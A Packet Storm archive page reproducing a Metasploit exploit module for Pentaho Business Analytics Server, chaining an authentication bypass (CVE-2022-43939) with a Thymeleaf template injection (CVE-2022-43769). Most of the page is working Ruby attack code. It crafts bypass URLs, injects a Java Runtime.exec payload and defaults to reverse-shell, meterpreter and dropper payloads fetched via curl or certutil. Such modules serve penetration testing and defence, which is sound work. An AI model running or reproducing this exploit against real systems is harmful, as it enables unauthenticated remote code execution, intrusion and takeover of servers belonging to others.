what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pentaho Business Server Authentication Bypass / SSTI / Code Execution

Pentaho Business Server Authentication Bypass / SSTI / Code Execution
Posted May 11, 2023
Authored by jheysel-r7, dwbzn, Harry Withington | Site metasploit.com

Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x is vulnerable to an authentication bypass (CVE-2022-43939) and a Server Side Template Injection (SSTI) vulnerability (CVE-2022-43769) that can be chained together to achieve unauthenticated code execution as the user running the Pentaho Business Analytics Server. The first vulnerability (CVE-2022-43939) is an authentication bypass which stems from a regex that allows any URL that ends in "/", followed by "require", optionally "-js" or "-cfg", any character, and then the string "js" followed optionally by "?" and then any characters of the attacker's choice. The second (CVE-2022-43769) is a server side template injection. This vulnerability allows remote code execution by making a GET request to /api/ldap/config/ldapTreeNodeChildren and setting the url parameter to ThymeLeaf template code. By abusing the ability to execute arbitrary Java classes within Thymeleaf templates, an attacker can execute arbitrary commands as the user running the Pentaho Business Analytics Server.

tags | exploit, java, remote, arbitrary, code execution
advisories | CVE-2022-43769, CVE-2022-43939
SHA-256 | 85e7f9076fc208c9c4ebe24ee580c0390563fe0f0db89e01aa897a906b078801

Pentaho Business Server Authentication Bypass / SSTI / Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pentaho Business Server Auth Bypass and Server Side Template Injection RCE',
'Description' => %q{
Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x is
vulnerable to an authentication bypass (CVE-2022-43939) and a Server Side Template Injection (SSTI) vulnerability
(CVE-2022-43769) that can be chained together to achieve unauthenticated code execution as the user
running the Pentaho Business Analytics Server.

The first vulnerability (CVE-2022-43939) is an authentication bypass which stems from a regex that allows any
URL that ends in "/", followed by "require", optionally "-js" or "-cfg", any character, and then the string
"js" followed optionally by "?" and then any characters of the attacker's choice.

The second (CVE-2022-43769) is a server side
template injection. This vulnerability allows RCE by making a GET request to /api/ldap/config/ldapTreeNodeChildren and
setting the url parameter to ThymeLeaf template code. By abusing the ability to execute arbitrary Java classes within
Thymeleaf templates, an attacker can execute arbitrary commands as the user running the Pentaho Business Analytics Server.
},
'Author' => [
'Harry Withington', # Discovery
'dwbzn', # PoC
'jheysel-r7' # Module
],
'References' => [
['URL', 'https://github.com/dwbzn/pentaho-exploits/blob/main/cve-2022-43769.py'], # POC
['URL', 'https://research.aurainfosec.io/pentest/pentah0wnage/'], # Original writeup
['URL', 'https://support.pentaho.com/hc/en-us/articles/14455561548301'], # Advisory
['CVE', '2022-43769'], # RCE
['CVE', '2022-43939'] # Auth Bypass
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => ['win', 'unix'],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => :curl,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-04-04',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path', '/pentaho'])
]
)
end

def check
# This check method abuses the authentication bypass vulnerability CVE-2022-43939 to check exploitability. Due to a
# bad regex in applicationContext-spring-security.xml endpoints that should not be accessible without authentication
# are made accessible if the URL ends in "/", followed by "require", optionally "-js" or "-cfg", any character,
# and then the string "js" followed optionally by "?" and then any characters of the attacker's choice.

post_require_mixup = ['-cfg', '-js', ''].sample
period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js")
)

return Exploit::CheckCode::Unknown unless res

if res.code == 200 && res.body == '{}'
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def win_target?
target.platform.names.include?('Windows')
end

def execute_command(cmd, _opts = {})
java_payload = <<~JAVA.gsub(/^\s+/, '').tr("\n", '')
{T(java.lang.Runtime).getRuntime().exec(
new String[]{ #{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}'#{cmd.gsub("'", "''")}'}
)
}
JAVA

post_require_mixup = ['-cfg', '-js', ''].sample
period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js"),
'vars_get' => {
'url' => "##{java_payload}",
'mgrDn' => Rex::Text.rand_text_alphanumeric(1..24),
'pwd' => Rex::Text.rand_text_alphanumeric(1..24)
},
'uri_encode_mode' => 'hex-all' # Needed to encode \ as %5C so we don't run into bad character issues that cause failure on server.
)

unless res
fail_with(Failure::UnexpectedReply, 'No response from the server when attempting to exploit')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected response code:#{res.code}, when attempting to exploit")
end

unless res.body == 'false'
fail_with(Failure::UnexpectedReply, "The response body from the exploit attempt indicates the attempt was
unsuccessful. The response body should only contain 'false'. The response body
returned was: '#{res.body}'")
end
end

def exploit
print_status('Attempting to exploit...')
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
end
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close